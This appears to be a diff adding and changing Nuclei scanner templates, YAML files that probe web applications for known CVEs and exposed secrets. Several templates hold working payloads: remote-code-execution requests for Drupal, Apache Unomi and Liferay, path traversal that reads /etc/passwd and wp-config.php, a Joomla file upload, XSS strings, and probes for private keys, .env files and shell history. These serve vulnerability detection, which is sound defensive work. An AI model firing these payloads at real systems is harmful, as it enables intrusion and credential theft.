-    before 2.2.5 for WordPress allows unauthenticated options import,
-    as demonstrated by storing an XSS payload for remote code execution.
-
-    Source/References:
-    - https://github.com/GeneralEG/CVE-2019-15858
-
-requests:
-  - method: GET
-    path:
-      - "{{BaseURL}}/wp-content/plugins/insert-php/readme.txt"
-    matchers-condition: and
-    matchers:
-      - type: status
-        status:
-          - 200
-      - type: word
-        words:
-          - "2.2.5"
-        part: body
@@ -0,0 +1,40 @@
+id: cve-2019-6340
+
+info:
+  name: Drupal 8 core RESTful Web Services RCE
+  author: madrobot
+  severity: critical
+  description: Some field types do not properly sanitize data from non-form sources in Drupal 8.5.x before 8.5.11 and Drupal 8.6.x before 8.6.10. This can lead to arbitrary PHP code execution in some cases.
+  reference: https://nvd.nist.gov/vuln/detail/CVE-2019-6340
+  product: Drupal
+
+requests:
+  - method: POST
+    path:
+      - '{{BaseURL}}/node/1?_format=hal_json'
+
+    body: '{
+  "link": [
+    {
+      "value": "link",
+      "options": "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\u0000GuzzleHttp\\Psr7\\FnStream\u0000methods\";a:1:{s:5:\"close\";a:2:{i:0;O:23:\"GuzzleHttp\\HandlerStack\":3:{s:32:\"\u0000GuzzleHttp\\HandlerStack\u0000handler\";s:2:\"id\";s:30:\"\u0000GuzzleHttp\\HandlerStack\u0000stack\";a:1:{i:0;a:1:{i:0;s:6:\"system\";}}s:31:\"\u0000GuzzleHttp\\HandlerStack\u0000cached\";b:0;}i:1;s:7:\"resolve\";}}s:9:\"_fn_close\";a:2:{i:0;r:4;i:1;s:7:\"resolve\";}}"
+    }
+  ],
+  "_links": {
+    "type": {
+      "href": "http://192.168.1.25/drupal-8.6.9/rest/type/shortcut/default"
+    }
+  }
+}'
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "uid="
+          - "gid="
+        condition: and
+        part: body
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,39 @@
+id: cve-2020-11738
+
+info:
+  name: WordPress Duplicator plugin Directory Traversal
+  author: dwisiswant0
+  severity: high
+  description: |
+    The issue is being actively exploited, and allows attackers
+    to download arbitrary files, such as the wp-config.php file.
+    According to the vendor, the vulnerability was only in two
+    versions v1.3.24 and v1.3.26, the vulnerability wasn't
+    present in versions 1.3.22 and before.
+
+    References:
+    - https://www.tenable.com/blog/duplicator-wordpress-plugin-vulnerability-exploited-in-the-wild
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/wp-admin/admin-ajax.php?action=duplicator_download&file=..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd"
+      - "{{BaseURL}}/wp-admin/admin-ajax.php?action=duplicator_download&file=%2F..%2Fwp-config.php"
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: regex
+        regex:
+          - "File Transfer"
+          - "application/octet-stream"
+          - "attachment; filename=\"(wp-config\\.php|passwd)\""
+        condition: and
+        part: header
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"
+          - "define\\('DB_(NAME|USER|PASSWORD|HOST|CHARSET|COLLATE)'"
+        condition: or
+        part: body
@@ -0,0 +1,60 @@
+id: cve-2020-13942
+
+info:
+  name: Apache Unomi Remote Code Execution
+  author: dwisiswant0
+  severity: critical
+  description: |
+    Remote Code Execution in Apache Unomi.
+    Apache Unomi allows conditions to use OGNL and MVEL scripting which
+    offers the possibility to call static Java classes from the JDK
+    that could execute code with the permission level of the running Java process.
+    This vulnerability affects all versions of Apache Unomi prior to 1.5.2. Apache Unomi users should upgrade to 1.5.2 or later.
+
+    References:
+    - https://securityboulevard.com/2020/11/apache-unomi-cve-2020-13942-rce-vulnerabilities-discovered/
+    - https://twitter.com/chybeta/status/1328912309440311297
+
+requests:
+  - method: POST
+    path:
+      - "{{BaseURL}}/context.json"
+      - "{{BaseURL}}:8181/context.json"
+    headers:
+      Content-Type: application/json
+    body: |
+      {
+        "filters": [
+          {
+            "id": "nuclei",
+            "filters": [
+              {
+                "condition": {
+                  "parameterValues": {
+                    "nuclei": "script::Runtime.getRuntime().exec('id')"
+                  },
+                  "type": "profilePropertyCondition"
+                }
+              }
+            ]
+          }
+        ],
+        "sessionId": "nuclei"
+      }
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - "application/json"
+          - "context-profile-id"
+        condition: and
+        part: header
+      - type: regex
+        regex:
+          - "(profile|session)(Id|Properties|Segments)"
+          - "[a-f0-9]{8}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{12}"
+        condition: and
+        part: body
@@ -1,29 +0,0 @@
-id: cve-2020-14815
-
-info:
-  name: Oracle Fusion Middleware XSS
-  author: shine
-  severity: medium
-
-  # Reference:- https://twitter.com/HackerOn2Wheels/status/1326927875279380480
-
-requests:
-  - method: GET
-    path:
-      - "{{BaseURL}}/bi-security-login/login.jsp?msi=false&redirect=\"><svg/onload=alert(document.domain)>"
-
-    matchers-condition: and
-    matchers:
-      - type: status
-        status:
-          - 200
-      - type: word
-        words:
-          - "<svg/onload=alert(document.domain)>"
-        part: body
-
-      - type: word
-        words:
-          - "application/json"
-        part: header
-        negative: true
@@ -28,7 +28,7 @@ requests:
      - |
        POST /console/images/%252e%252e%252fconsole.portal HTTP/1.1
        Host: {{Hostname}}
-        cmd: exec
+        cmd: §exec§
        Connection: close
        Content-Type: application/x-www-form-urlencoded; charset=utf-8

@@ -0,0 +1,37 @@
+id: cve-2020-16846
+
+info:
+  name: SaltStack Shell Injection
+  author: dwisiswant0
+  severity: critical
+  description: |
+    SaltStack Salt through 3002. Sending crafted web requests to the Salt API,
+    with the SSH client enabled, can result in shell injection.
+
+    This template supports the detection part only. See references.
+
+    References:
+    - https://mp.weixin.qq.com/s/R8qw_lWizGyeJS0jOcYXag
+    - https://github.com/vulhub/vulhub/tree/master/saltstack/CVE-2020-16846
+
+requests:
+  - method: POST
+    path:
+      - "{{BaseURL}}/run"
+      - "{{BaseURL}}:8000/run"
+    body: "token=1337&client=ssh&tgt=*&fun=a&roster=projectdiscovery&ssh_priv=nuclei"
+    headers:
+      Content-Type: application/x-www-form-urlencoded # CherryPy will abort w/o define this header
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 500
+      - type: word
+        words:
+          - "application/json"
+        part: header
+      - type: word
+        words:
+          - "An unexpected error occurred"
+        part: body
@@ -20,6 +20,11 @@ requests:
          - <h1>sample
        part: body

+      - type: word
+        words:
+          - "text/html"
+        part: header
+
      - type: status
        status:
          - 200
@@ -0,0 +1,48 @@
+id: cve-2020-23972
+
+info:
+  name: Joomla! Component GMapFP 3.5 - Unauthenticated Arbitrary File Upload
+  author: dwisiswant0
+  severity: high
+  description: |
+    An attacker can access the upload function of the application
+    without authenticating to the application and also can upload
+    files due the issues of unrestricted file upload which can be
+    bypassed by changing Content-Type & name file too double ext.
+
+  # Source: https://www.exploit-db.com/exploits/49129
+
+requests:
+  - payloads:
+      component:
+        - "com_gmapfp"
+        - "comgmapfp"
+    raw:
+      - |
+        POST /index.php?option=§component§&controller=editlieux&tmpl=component&task=upload_image HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: multipart/form-data; boundary=----WebKitFormBoundarySHHbUsfCoxlX1bpS
+        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
+        Referer: {{BaseURL}}
+        Connection: close
+
+        ------WebKitFormBoundarySHHbUsfCoxlX1bpS
+        Content-Disposition: form-data; name="option"
+
+        com_gmapfp
+        ------WebKitFormBoundarySHHbUsfCoxlX1bpS
+        Content-Disposition: form-data; name="image1"; filename="nuclei.html.gif"
+        Content-Type: text/html
+
+        projectdiscovery
+
+        ------WebKitFormBoundarySHHbUsfCoxlX1bpS
+        Content-Disposition: form-data; name="no_html"
+
+        no_html
+        ------WebKitFormBoundarySHHbUsfCoxlX1bpS--
+    extractors:
+      - type: regex
+        part: body
+        regex:
+          - "window\\.opener\\.(changeDisplayImage|addphoto)\\(\"(.*?)\"\\);"
@@ -21,4 +21,8 @@ requests:
      - type: word
        words:
          - '"><script>alert(document.domain)</script>'
-        part: body
+        part: body
+      - type: word
+        words:
+          - "text/html"
+        part: header
@@ -0,0 +1,41 @@
+id: cve-2020-4463
+
+info:
+  name: IBM Maximo Asset Management Information Disclosure via XXE
+  author: dwisiswant0
+  severity: high
+  description: |
+    IBM Maximo Asset Management is vulnerable to an
+    XML External Entity Injection (XXE) attack when processing XML data.
+    A remote attacker could exploit this vulnerability to expose
+    sensitive information or consume memory resources.
+
+    References:
+    - https://www.ibm.com/support/pages/security-bulletin-ibm-maximo-asset-management-vulnerable-information-disclosure-cve-2020-4463
+    - https://github.com/Ibonok/CVE-2020-4463
+
+  # This is detection template, use the referenced poc for the exploitation.
+
+requests:
+  - method: POST
+    path:
+      - "{{BaseURL}}/os/mxperson"
+      - "{{BaseURL}}/meaweb/os/mxperson"
+    body: |
+      <?xml version='1.0' encoding='UTF-8'?>
+      <max:QueryMXPERSON xmlns:max='http://www.ibm.com/maximo'>
+        <max:MXPERSONQuery></max:MXPERSONQuery>
+      </max:QueryMXPERSON>
+    headers:
+      Content-Type: application/xml
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "application/xml"
+        part: header
+      - type: word
+        words:
+          - "QueryMXPERSONResponse"
+          - "MXPERSONSet"
+        part: body
@@ -25,7 +25,7 @@ requests:
        Content-Type: text/xml; charset=UTF-8
        Connection: close

-        <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:urn="urn:CTCWebServiceSi"><soapenv:Header/><soapenv:Body><urn:executeSynchronious><identifier><component>sap.com/tc~lm~config~content</component><path>content/Netweaver/ASJava/NWA/SPC/SPC_UserManagement.cproc</path></identifier><contextMessages><baData>{{base64('data')}}</baData><name>userDetails</name></contextMessages></urn:executeSynchronious></soapenv:Body></soapenv:Envelope>
+        <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:urn="urn:CTCWebServiceSi"><soapenv:Header/><soapenv:Body><urn:executeSynchronious><identifier><component>sap.com/tc~lm~config~content</component><path>content/Netweaver/ASJava/NWA/SPC/SPC_UserManagement.cproc</path></identifier><contextMessages><baData>{{base64('§data§')}}</baData><name>userDetails</name></contextMessages></urn:executeSynchronious></soapenv:Body></soapenv:Envelope>
    matchers-condition: and
    matchers:
      - type: word
@@ -0,0 +1,41 @@
+id: cve-2020-7318
+
+info:
+  name: McAfee ePolicy Orchestrator Reflected XSS
+  author: dwisiswant0
+  severity: medium
+  description: |
+    Cross-Site Scripting vulnerability in McAfee ePolicy Orchestrator (ePO)
+    prior to 5.10.9 Update 9 allows administrators to inject arbitrary web
+    script or HTML via multiple parameters where the administrator's entries
+    were not correctly sanitized.
+
+    References:
+    - https://swarm.ptsecurity.com/vulnerabilities-in-mcafee-epolicy-orchestrator/
+
+requests:
+  - payloads:
+      port:
+        - "80"
+        - "443"
+        - "8443"
+    raw:
+      - |
+        GET /PolicyMgmt/policyDetailsCard.do?poID=19&typeID=3&prodID=%27%22%3E%3Csvg%2fonload%3dalert(document.domain)%3E HTTP/1.1
+        Host: {{Hostname}}:§port§
+        Connection: close
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - "text/html"
+        part: header
+      - type: word
+        words:
+          - "Policy Name"
+          - "'\"><svg/onload=alert(document.domain)>"
+        condition: and
+        part: body
@@ -26,7 +26,7 @@ requests:
    raw:
      - |
        POST /api/jsonws/invoke HTTP/1.1
-        Host: {{Hostname}}:port
+        Host: {{Hostname}}:§port§
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55
        Content-Length: 4938
        Accept: */*
@@ -35,7 +35,7 @@ requests:
        Content-Type: application/x-www-form-urlencoded
        Referer: {{BaseURL}}/api/jsonws?contextName=&signature=%2Fexpandocolumn%2Fadd-column-4-tableId-name-type-defaultData
        X-Requested-With: XMLHttpRequest
-        cmd2: command
+        cmd2: §command§

        cmd=%7B%22%2Fexpandocolumn%2Fadd-column%22%3A%7B%7D%7D&p_auth=nuclei&formDate=1597704739243&tableId=1&name=A&type=1&%2BdefaultData:com.mchange.v2.c3p0.WrapperConnectionPoolDataSource=%7B%22userOverridesAsString%22%3A%22HexAsciiSerializedMap%3AACED0005737200116A6176612E7574696C2E48617368536574BA44859596B8B7340300007870770C000000023F40000000000001737200346F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6B657976616C75652E546965644D6170456E7472798AADD29B39C11FDB0200024C00036B65797400124C6A6176612F6C616E672F4F626A6563743B4C00036D617074000F4C6A6176612F7574696C2F4D61703B7870740003666F6F7372002A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6D61702E4C617A794D61706EE594829E7910940300014C0007666163746F727974002C4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436861696E65645472616E73666F726D657230C797EC287A97040200015B000D695472616E73666F726D65727374002D5B4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707572002D5B4C6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E5472616E73666F726D65723BBD562AF1D83418990200007870000000057372003B6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436F6E7374616E745472616E73666F726D6572587690114102B1940200014C000969436F6E7374616E7471007E00037870767200206A617661782E7363726970742E536372697074456E67696E654D616E61676572000000000000000000000078707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E496E766F6B65725472616E73666F726D657287E8FF6B7B7CCE380200035B000569417267737400135B4C6A6176612F6C616E672F4F626A6563743B4C000B694D6574686F644E616D657400124C6A6176612F6C616E672F537472696E673B5B000B69506172616D54797065737400125B4C6A6176612F6C616E672F436C6173733B7870757200135B4C6A6176612E6C616E672E4F626A6563743B90CE589F1073296C02000078700000000074000B6E6577496E7374616E6365757200125B4C6A6176612E6C616E672E436C6173733BAB16D7AECBCD5A990200007870000000007371007E00137571007E00180000000174000A4A61766153637269707474000F676574456E67696E6542794E616D657571007E001B00000001767200106A6176612E6C616E672E537472696E67A0F0A4387A3BB34202000078707371007E0013757200135B4C6A6176612E6C616E672E537472696E673BADD256E7E91D7B470200007870000000017404567661722063757272656E74546872656164203D20636F6D2E6C6966657261792E706F7274616C2E736572766963652E53657276696365436F6E746578745468726561644C6F63616C2E67657453657276696365436F6E7465787428293B0A76617220697357696E203D206A6176612E6C616E672E53797374656D2E67657450726F706572747928226F732E6E616D6522292E746F4C6F7765724361736528292E636F6E7461696E73282277696E22293B0A7661722072657175657374203D2063757272656E745468726561642E6765745265717565737428293B0A766172205F726571203D206F72672E6170616368652E636174616C696E612E636F6E6E6563746F722E526571756573744661636164652E636C6173732E6765744465636C617265644669656C6428227265717565737422293B0A5F7265712E73657441636365737369626C652874727565293B0A766172207265616C52657175657374203D205F7265712E6765742872657175657374293B0A76617220726573706F6E7365203D207265616C526571756573742E676574526573706F6E736528293B0A766172206F757470757453747265616D203D20726573706F6E73652E6765744F757470757453747265616D28293B0A76617220636D64203D206E6577206A6176612E6C616E672E537472696E6728726571756573742E6765744865616465722822636D64322229293B0A766172206C697374436D64203D206E6577206A6176612E7574696C2E41727261794C69737428293B0A7661722070203D206E6577206A6176612E6C616E672E50726F636573734275696C64657228293B0A696628697357696E297B0A20202020702E636F6D6D616E642822636D642E657865222C20222F63222C20636D64293B0A7D656C73657B0A20202020702E636F6D6D616E64282262617368222C20222D63222C20636D64293B0A7D0A702E72656469726563744572726F7253747265616D2874727565293B0A7661722070726F63657373203D20702E737461727428293B0A76617220696E70757453747265616D526561646572203D206E6577206A6176612E696F2E496E70757453747265616D5265616465722870726F636573732E676574496E70757453747265616D2829293B0A766172206275666665726564526561646572203D206E6577206A6176612E696F2E427566666572656452656164657228696E70757453747265616D526561646572293B0A766172206C696E65203D2022223B0A7661722066756C6C54657874203D2022223B0A7768696C6528286C696E65203D2062756666657265645265616465722E726561644C696E6528292920213D206E756C6C297B0A2020202066756C6C54657874203D2066756C6C54657874202B206C696E65202B20225C6E223B0A7D0A766172206279746573203D2066756C6C546578742E676574427974657328225554462D3822293B0A6F757470757453747265616D2E7772697465286279746573293B0A6F757470757453747265616D2E636C6F736528293B0A7400046576616C7571007E001B0000000171007E00237371007E000F737200116A6176612E6C616E672E496E746567657212E2A0A4F781873802000149000576616C7565787200106A6176612E6C616E672E4E756D62657286AC951D0B94E08B020000787000000001737200116A6176612E7574696C2E486173684D61700507DAC1C31660D103000246000A6C6F6164466163746F724900097468726573686F6C6478703F4000000000000077080000001000000000787878%3B%22%7D
    matchers-condition: and
@@ -49,7 +49,7 @@ requests:
        Content-Type: application/xml
        X-NITRO-USER: oY39DXzQ
        X-NITRO-PASS: ZuU9Y9c1
-        rand_key: randkey
+        rand_key: §randkey§

        <appfwprofile><login></login></appfwprofile>

@@ -62,7 +62,7 @@ requests:
        Content-Type: application/xml
        X-NITRO-USER: oY39DXzQ
        X-NITRO-PASS: ZuU9Y9c1
-        rand_key: randkey
+        rand_key: §randkey§

        <clipermission></clipermission>

@@ -23,3 +23,7 @@ requests:
      - type: status
        status:
          - 200
+      - type: word
+        words:
+          - "text/html"
+        part: header
@@ -27,3 +27,8 @@ requests:
      - type: status
        status:
          - 200
+
+      - type: word
+        words:
+          - "text/html"
+        part: header
@@ -37,7 +37,7 @@ requests:
        content-type: application/json
        Connection: close

-        {"user":"admin","password":"grafana_password"}
+        {"user":"admin","password":"§grafana_password§"}

     # grafana_password will be replaced with payloads and will attempt admin:prom-operator and admin:admin

@@ -25,7 +25,7 @@ requests:
      - |
        GET /manager/html HTTP/1.1
        Host: {{Hostname}}
-        Authorization: Basic {{base64('username:password')}}
+        Authorization: Basic {{base64('§username§:§password§')}}
        User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0
        Accept-Language: en-US,en;q=0.9
        Connection: close
@@ -0,0 +1,23 @@
+id: htpasswd
+
+info:
+  name: Detect exposed .htpasswd files
+  author: geeknik
+  severity: info
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/.htpasswd"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - ":{SHA}"
+          - ":$apr1$"
+          - ":$2y$"
+        condition: or
+
+      - type: status
+        status:
+          - 200
@@ -2,13 +2,17 @@ id: laravel-env

 info:
  name: Laravel .env file
-  author: pxmme1337 & dwisiswant0
+  author: pxmme1337 & dwisiswant0 & geeknik
  severity: medium

 requests:
  - method: GET
    path:
      - "{{BaseURL}}/.env"
+      - "{{BaseURL}}/.env.dev.local"
+      - "{{BaseURL}}/.env.development.local"
+      - "{{BaseURL}}/.env.prod.local"
+      - "{{BaseURL}}/.env.production.local"
    matchers-condition: and
    matchers:
      - type: regex
@@ -0,0 +1,25 @@
+id: redmine-db-config
+info:
+  name: Detect Redmine Database Configuration
+  author: geeknik
+  description: Redmine is a flexible project management web application written using Ruby on Rails framework - https://redmine.org/projects/redmine
+  severity: medium
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/config/database.yml"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - adapter
+          - database
+          - host
+        condition: and
+
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,37 @@
+id: server-private-keys
+
+info:
+  name: Detect Private SSH and TLS Keys
+  author: geeknik
+  severity: high
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/host.key"
+      - "{{BaseURL}}/www.key"
+      - "{{BaseURL}}/private-key"
+      - "{{BaseURL}}/privatekey.key"
+      - "{{BaseURL}}/server.key"
+      - "{{BaseURL}}/my.key"
+      - "{{BaseURL}}/key.pem"
+      - "{{BaseURL}}/id_rsa"
+      - "{{BaseURL}}/id_dsa"
+      - "{{BaseURL}}/.ssh/id_rsa"
+      - "{{BaseURL}}/.ssh/id_dsa"
+      - "{{BaseURL}}/{{Hostname}}.key"
+      - "{{BaseURL}}/{{Hostname}}.pem"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "BEGIN OPENSSH PRIVATE KEY"
+          - "BEGIN PRIVATE KEY"
+          - "BEGIN RSA PRIVATE KEY"
+          - "BEGIN DSA PRIVATE KEY"
+          - "BEGIN EC PRIVATE KEY"
+        condition: or
+
+      - type: status
+        status:
+          - 200
@@ -2,9 +2,9 @@ id: shell-history

 info:
  name: Shell History
-  author: pentest_swissky
+  author: pentest_swissky & geeknik
  severity: low
-  description: Discover history for bash and zsh file.
+  description: Discover history for bash, ksh, sh, and zsh

 requests:
  - method: GET
@@ -12,6 +12,8 @@ requests:
    max-redirects: 5
    path:
      - "{{BaseURL}}/.bash_history"
+      - "{{BaseURL}}/.ksh_history"
+      - "{{BaseURL}}/.sh_history"
      - "{{BaseURL}}/.zsh_history"

    matchers-condition: and
@@ -21,4 +23,4 @@ requests:
          - "chmod "
      - type: status
        status:
-          - 200
+          - 200
@@ -87,7 +87,7 @@ requests:
      - |
        GET /protected HTTP/1.1
        Host: {{Hostname}}
-        Authorization: Basic {{base64('username:password')}}
+        Authorization: Basic {{base64('§username§:§password§')}}
        User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0
        Accept-Language: en-US,en;q=0.9
        Connection: close
@@ -0,0 +1,26 @@
+id: iis-shortname
+info:
+  name: iis-shortname
+  author: nodauf
+  severity: info
+  description: If IIS use old .Net Framwork it's possible to enumeration folder with the symbol ~.
+
+  # References:
+  # - https://github.com/lijiejie/IIS_shortname_Scanner
+  # - https://www.exploit-db.com/exploits/19525
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/N0t4xist*~1*/a.aspx"
+      - "{{BaseURL}}/*~1*/a.aspx'"
+  - method: OPTIONS
+    path:
+      - "{{BaseURL}}/N0t4xist*~1*/a.aspx"
+      - "{{BaseURL}}/*~1*/a.aspx'"
+
+    matchers:
+      - type: dsl
+        name: iis-scan
+        dsl:
+          - "status_code_1!=404 && status_code_2 == 404 || status_code_3 != 404 && status_code_4 == 404"
@@ -18,7 +18,7 @@ requests:

    raw:
      - |
-        GET /plugin_wordlist HTTP/1.1
+        GET /§plugin_wordlist§ HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json, text/plain, */*
        Accept-Language: en-US,en;q=0.5
@@ -21,6 +21,5 @@ requests:

      - type: word
        words:
-          - "application/json"
+          - "text/html"
        part: header
-        negative: true
@@ -15,15 +15,16 @@ info:
 requests:
  - method: GET
    path:
-      - "{{BaseURL}}/?q=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&s=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&search=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&id=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&action=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&keyword=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&query=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&page=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&keywords=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&url=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&view=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&cat=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&name=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&key=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&p=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E"
+      - "{{BaseURL}}/?q=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss1%27%29%3E&s=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss2%27%29%3E&search=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss3%27%29%3E&id=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss4%27%29%3E&action=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss5%27%29%3E&keyword=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss6%27%29%3E&query=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss7%27%29%3E&page=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss8%27%29%3E&keywords=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss9%27%29%3E&url=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss10%27%29%3E&view=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss11%27%29%3E&cat=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss12%27%29%3E&name=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss13%27%29%3E&key=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss14%27%29%3E&p=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss15%27%29%3E"
    redirects: true
    max-redirects: 1
    matchers-condition: and
    matchers:
      - type: word
        words:
-          - "<svg/onload=confirm('testing-xss')>"
+          - "<svg/onload=confirm('testing-xss"
        part: body
+
      - type: word
        words:
          - "text/html"
@@ -0,0 +1,32 @@
+id: HTTP-TRACE
+
+info:
+  name: HTTP TRACE method enabled
+  author: nodauf
+  severity: info
+
+  # References:
+  # - https://www.blackhillsinfosec.com/three-minutes-with-the-http-trace-method/
+
+requests:
+  - method: TRACE
+    path:
+      - "{{BaseURL}}/"
+
+    matchers:
+      - type: word
+        name: trace-request
+        words:
+          - "TRACE / HTTP"
+        part: body
+
+  - method: OPTIONS
+    path:
+      - "{{BaseURL}}/"
+
+    matchers:
+      - type: regex
+        name: options-request
+        regex:
+          - "(?i)Allow: [A-Z,]*TRACE"
+        part: header
@@ -0,0 +1,21 @@
+id: unencrypted-bigip-ltm-cookie
+
+info:
+  name: F5 BIGIP Unencrypted Cookie
+  author: PR3R00T
+  severity: info
+  reference: https://www.intelisecure.com/how-to-decode-big-ip-f5-persistence-cookie-values
+  mitigation: https://support.f5.com/csp/article/K23254150
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}"
+
+    redirects: true
+    matchers:
+      - type: regex
+        regex:
+          - '(BIGipServer[a-z\_\.\-\~0-9A-Z]*)=([0-9a-zA-Z\.]*;)'
+          - '=[0-9]*\.[0-9]{3,5}\.[0-9]{4};'
+        part: header
@@ -0,0 +1,23 @@
+id: xml-schema-detect
+info:
+  name: XML Schema Detection
+  author: alph4byt3
+  severity: info
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/schema"
+
+    matchers-condition: and
+    redirects: true
+    matchers:
+      - type: word
+        words:
+          - ".xsd"
+          - "Schemas"
+        condition: and
+
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,19 @@
+id: identityguard-selfservice-entrust
+
+info:
+  name: IdentityGuard Self-Service by Entrust
+  author: nodauf
+  severity: info
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/IdentityGuardSelfService/"
+      - "{{BaseURL}}/IdentityGuardSelfService/images/favicon.ico"
+
+    redirects: true
+    max-redirects: 2
+    matchers:
+      - type: dsl
+        dsl:
+          - "contains(body_1,'IdentityGuard Self-Service') || (\"-1060264737\" == mmh3(base64_py(body_2)))"
@@ -2,7 +2,7 @@ id: kubernetes-pods-api

 info:
  name: Kubernetes Pods API
-  author: ilovebinbash
+  author: ilovebinbash & geeknik
  severity: critical
  description: When the service port is available, anyone can execute commands inside the container. See https://github.com/officialhocc/Kubernetes-Kubelet-RCE for inspiration.

@@ -20,4 +20,7 @@ requests:
      - type: word
        words:
          - "application/json"
-        part: header
+        part: header
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,14 @@
+id: oipm-detect
+info:
+  name: One Identity Password Manager detection
+  author: nodauf
+  severity: info
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/PMUser/'
+    matchers:
+      - type: word
+        words:
+          - "One Identity Password Manager"
@@ -16,7 +16,7 @@ requests:
          - "/dana-na/auth/welcome.cgi"
        part: header

-      - type: word
-        words:
-          - "/dana-na/css/ds.css"
-        part: body
+      - type: regex
+        regex:
+          - "(?i)/dana-na/css/ds(_[a-f0-9]{64})?.css"
+        part: body
@@ -19,12 +19,8 @@ requests:
        GET /testing-put.txt HTTP/1.1
        Content-Type: text/plain

-    matchers-condition: and
    matchers:
-      - type: status
-        status:
-          - 200
-
-      - type: word
-        words:
-          - testing-payload
+      - type: dsl
+        name: multi-req
+        dsl:
+          - 'contains(body_2, "testing-payload") == true'
@@ -0,0 +1,35 @@
+id: cacti-detect
+info:
+  name: Detect Cacti
+  author: geeknik
+  description: Cacti is a complete network graphing solution -- https://www.cacti.net/
+  severity: info
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/"
+      - "{{BaseURL}}/cacti/"
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        part: body
+        words:
+          - "Login to Cacti"
+          - "The Cacti Group"
+        condition: and
+
+      - type: regex
+        part: header
+        regex:
+          - Cacti+
+
+    extractors:
+      - type: kval
+        part: header
+        kval:
+          - Set-Cookie
